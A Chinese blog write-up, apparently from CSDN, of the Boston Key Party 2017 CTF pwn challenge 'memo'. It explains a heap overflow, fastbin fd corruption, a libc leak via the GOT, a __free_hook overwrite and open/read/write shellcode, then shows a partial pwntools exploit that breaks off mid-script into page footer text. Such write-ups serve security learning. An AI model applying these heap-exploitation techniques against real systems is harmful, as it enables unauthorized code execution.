bosten key party 2017 memo writeup

本文是关于2017年Boston Key Party CTF比赛中pwn类题目'Memo'的解决方案。作者首先介绍了题目的背景和逻辑,包括程序的限制和功能。然后,详细分析了程序中存在的漏洞,特别是leave message功能的缓冲区溢出问题。通过溢出,可以修改内存布局,控制__free_hook并利用隐藏函数执行shellcode。最后,提供了exploit代码。
摘要由CSDN通过智能技术生成

memo

题目

https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/memo-300

分析

题目有些生硬,很多地方都不太能说通,不过就是练习一下,就当刷水题了。

逻辑

  1. setvbuf等基本操作,以及使用prctl设置了no new privs,所以无法新建进程
  2. 输入用户密码,密码可以不写,全局变量name和password分别保留用户和密码,分别0x20大小
  3. 之后进入主要逻辑一共6个功能
    i. leave message 涉及到两个全局变量,size和memo,memo紧跟在size之后,size紧跟在password之后,size大小0x10,memo大小0x20。 size是int类型数组,一共有4个int,每一个表示0到3个message的大小。 memo一共有4个指针,每一个表示message的具体位置。 leave message有两种情况,一个是0x20大小以内,直接malloc该大小,并且在size数组中保存,存进memo里,另一个是0x20大小以上,malloc 0x20大小,然后使用read读取size大小,之后全局变量index保存为这次创建的index。
    ii. edit message,更改全局变量memo中全局变量index所在指针指向位置的内容,大小为size中index的值
    iii. view memo 查看某个index的memo内容
    vi. delete memo 删除某个index的memo内容,直接free,并且将memo数组中该位置设置为0,删除前先判断
    v. change password 更改密码内容

开启的保护主要是 NX, FULL RELRO, 没有开启PIE

漏洞

  1. leave message位置,如果大于0x20,read时候读取的还是size,size此时大于0x20,存在溢出。
  2. 有一个隐藏函数,位于0x400b47,会执行输入的内容

利用分析

溢出的自由度比较大,利用也比较简单。
大概步骤是
1. password设置最后位置为0x31,由于password和size紧邻,用来通过fastbin 分配的check
2. 利用溢出,修改fd指针到password写入0x31的位置,然后分配出指向size位置的chunk
3. 修改memo位置的指针,指向任意一个GOT表中的指针,然后利用view来获取地址,得到libc基地址
4. 再次修改memo位置指针,指向__free_hook,然后通过edit来修改__free_hook指向隐藏函数
5. 通过shellcode完成open read 和write得到flag

题目比较简单,我就直接给exp了

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
if DEBUG:
    p = process("./memo")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

shellcode = '''
mov rax, 0x2
mov rdi, 0x41410100
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, 0x602000
mov rdx, 0x100
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x602000
mov rdx, 0x100
syscall
'''

def init_all(name, password):
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('(y/n)')
    if password is not None:
        p.sendline('y')
        p.recvuntil('Password:')
        p.sendline(password)
    else:
        p.sendline('n')


def leave_message(index, msg):
    p.recvuntil(
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值